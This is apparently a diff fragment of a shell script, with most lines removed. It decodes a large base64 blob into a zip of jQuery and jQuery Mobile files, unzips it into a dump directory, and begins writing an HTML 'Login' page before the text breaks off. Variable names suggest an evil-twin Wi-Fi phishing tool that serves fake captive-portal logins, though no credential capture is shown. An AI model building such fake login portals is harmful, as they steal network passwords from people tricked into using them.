-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 -" | base64 -d >$DUMP_PATH/file.zip - - unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device - rm $DUMP_PATH/file.zip &>$flux_output_device - - echo " - - - Login - - - - - - - -
